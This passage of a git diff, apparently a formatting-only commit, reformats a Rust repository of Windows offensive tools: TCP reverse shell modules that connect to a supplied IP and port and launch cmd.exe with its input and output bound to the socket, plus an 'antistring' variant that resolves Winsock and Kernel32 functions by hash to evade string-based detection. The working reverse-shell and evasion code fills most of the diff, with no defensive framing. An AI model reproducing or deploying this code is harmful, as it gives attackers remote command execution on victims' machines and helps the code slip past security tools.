sockaddr_in.sin_port = unsafe { htons(port) }; // Connect the socket! // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.connect.html - let connection_result = unsafe { + let connection_result = unsafe { connect( socket, &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, - mem::size_of::() as _ + mem::size_of::() as _, ) }; if connection_result != 0 { @@ -92,11 +79,7 @@ pub fn shell(ip: &str, port: u16) { // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/SystemInformation/fn.GetSystemDirectoryA.html let lp_buffer: &mut [u8] = &mut [0; 50]; - unsafe { - GetSystemDirectoryA( - lp_buffer - ) - }; + unsafe { GetSystemDirectoryA(lp_buffer) }; let system_dir = unsafe { CStr::from_ptr(lp_buffer.as_ptr() as *const i8) }; let system_dir = system_dir.to_str().unwrap(); @@ -113,9 +96,10 @@ pub fn shell(ip: &str, port: u16) { startup_info.hStdInput = unsafe { *sock_handle }; startup_info.hStdOutput = unsafe { *sock_handle }; startup_info.hStdError = unsafe { *sock_handle }; - let lp_command_line = PSTR(CString::new(format!("{system_dir}\\cmd.exe")) - .unwrap() - .into_raw() as *mut u8 + let lp_command_line = PSTR( + CString::new(format!("{system_dir}\\cmd.exe")) + .unwrap() + .into_raw() as *mut u8, ); let create_res = unsafe { CreateProcessA( @@ -128,7 +112,7 @@ pub fn shell(ip: &str, port: u16) { ptr::null(), PCSTR::null(), &startup_info, - &mut PROCESS_INFORMATION::default() + &mut PROCESS_INFORMATION::default(), ) }; if !create_res.as_bool() { diff --git a/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs index e1ce3f4..251ba56 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs @@ -1,10 +1,14 @@ +use std::ffi::{c_void, CStr, CString}; use std::{mem, ptr}; -use std::ffi::{CStr, CString, c_void}; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::{BOOL, HANDLE}; -use windows::Win32::Networking::WinSock::{AF_INET, IPPROTO_TCP, SOCK_STREAM, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData, WSAPROTOCOL_INFOA}; +use windows::Win32::Networking::WinSock::{ + WSAData, AF_INET, IPPROTO_TCP, SOCKADDR, SOCKADDR_IN, SOCKET, SOCK_STREAM, WSAPROTOCOL_INFOA, +}; use windows::Win32::Security::SECURITY_ATTRIBUTES; -use windows::Win32::System::Threading::{PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA}; +use windows::Win32::System::Threading::{ + PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA, +}; // https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms632663(v=vs.85) // Normally this is called by MAKEWORD(2,2), which is 514 @@ -14,65 +18,54 @@ pub fn shell(ip: &str, port: u16) { // See line 15 let function = rco_utils::find_function_address("Ws2_32", 0xedf45b56dba24418).unwrap(); let function = rco_utils::construct_win32_function!(function; [u16, &mut WSAData]; [()]); - unsafe { function( - WSASTARTUPVAL, - &mut WSAData::default() - ) }; + unsafe { function(WSASTARTUPVAL, &mut WSAData::default()) }; // See line 28 let function = rco_utils::find_function_address("Ws2_32", 0xad51563d572a6798).unwrap(); let function = rco_utils::construct_win32_function!(function; [i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32]; [SOCKET]); - let socket = unsafe { function( - AF_INET.0 as i32, - SOCK_STREAM as i32, - IPPROTO_TCP.0, - ptr::null(), - 0, - 0 - ) }; + let socket = unsafe { + function( + AF_INET.0 as i32, + SOCK_STREAM as i32, + IPPROTO_TCP.0, + ptr::null(), + 0, + 0, + ) + }; // See line 42 let function = rco_utils::find_function_address("Ws2_32", 0xf6d69fad519d46a0).unwrap(); let mut sockaddr_in = SOCKADDR_IN { sin_family: AF_INET.0 as u16, - ..Default::default() + ..Default::default() }; let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void; - let ip_pcstr = PCSTR(CString::new(ip) - .unwrap() - .into_raw() as *mut u8 - ); + let ip_pcstr = PCSTR(CString::new(ip).unwrap().into_raw() as *mut u8); let function = rco_utils::construct_win32_function!(function; [i32, PCSTR, *mut c_void]; [i32]); - unsafe { function( - AF_INET.0 as i32, - ip_pcstr, - sin_addr_ptr - ) }; + unsafe { function(AF_INET.0 as i32, ip_pcstr, sin_addr_ptr) }; // See line 68 let function = rco_utils::find_function_address("Ws2_32", 0x57420f0d05112fd1).unwrap(); let function = rco_utils::construct_win32_function!(function; [u16]; [u16]); - sockaddr_in.sin_port = unsafe { function( - port - ) }; + sockaddr_in.sin_port = unsafe { function(port) }; // See line 77 let function = rco_utils::find_function_address("Ws2_32", 0xcbfa974b4e43f414).unwrap(); let function = rco_utils::construct_win32_function!(function; [SOCKET, *const SOCKADDR, i32]; [i32]); - unsafe { function( - socket, - &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, - mem::size_of::() as i32 - ) }; - + unsafe { + function( + socket, + &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, + mem::size_of::() as i32, + ) + }; // See line 91 let function = rco_utils::find_function_address("Kernel32", 0x9822936f60f9a914).unwrap(); let lp_buffer: &mut [u8] = &mut [0; 50]; let function = rco_utils::construct_win32_function!(function; [&mut [u8]]; [()]); - unsafe { function( - lp_buffer - ) }; + unsafe { function(lp_buffer) }; let system_dir = unsafe { CStr::from_ptr(lp_buffer.as_ptr() as *const i8) }; let system_dir = system_dir.to_str().unwrap(); @@ -88,21 +81,24 @@ pub fn shell(ip: &str, port: u16) { startup_info.hStdInput = unsafe { *sock_handle }; startup_info.hStdOutput = unsafe { *sock_handle }; startup_info.hStdError = unsafe { *sock_handle }; - let lp_command_line = PSTR(CString::new(format!("{system_dir}\\cmd.exe")) - .unwrap() - .into_raw() as *mut u8 + let lp_command_line = PSTR( + CString::new(format!("{system_dir}\\cmd.exe")) + .unwrap() + .into_raw() as *mut u8, ); let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION]; [BOOL]); - unsafe { function( - PCSTR::null(), - lp_command_line, - &SECURITY_ATTRIBUTES::default(), - &SECURITY_ATTRIBUTES::default(), - true, - PROCESS_CREATION_FLAGS::default(), - ptr::null(), - PCSTR::null(), - &startup_info, - &PROCESS_INFORMATION::default() - ) }; + unsafe { + function( + PCSTR::null(), + lp_command_line, + &SECURITY_ATTRIBUTES::default(), + &SECURITY_ATTRIBUTES::default(), + true, + PROCESS_CREATION_FLAGS::default(), + ptr::null(), + PCSTR::null(), + &startup_info, + &PROCESS_INFORMATION::default(), + ) + }; } diff --git a/xor_params/src/main.rs b/xor_params/src/main.rs index 31baad3..bd9ca2c 100644 --- a/xor_params/src/main.rs +++ b/xor_params/src/main.rs @@ -14,7 +14,8 @@ fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result, Box(slice_one: &[T], slice_two: &[T]) -> }; ( longer.to_vec(), - shorter - .iter() - .cloned() - .cycle() - .take(longer.len()) - .collect() + shorter.iter().cloned().cycle().take(longer.len()).collect(), ) }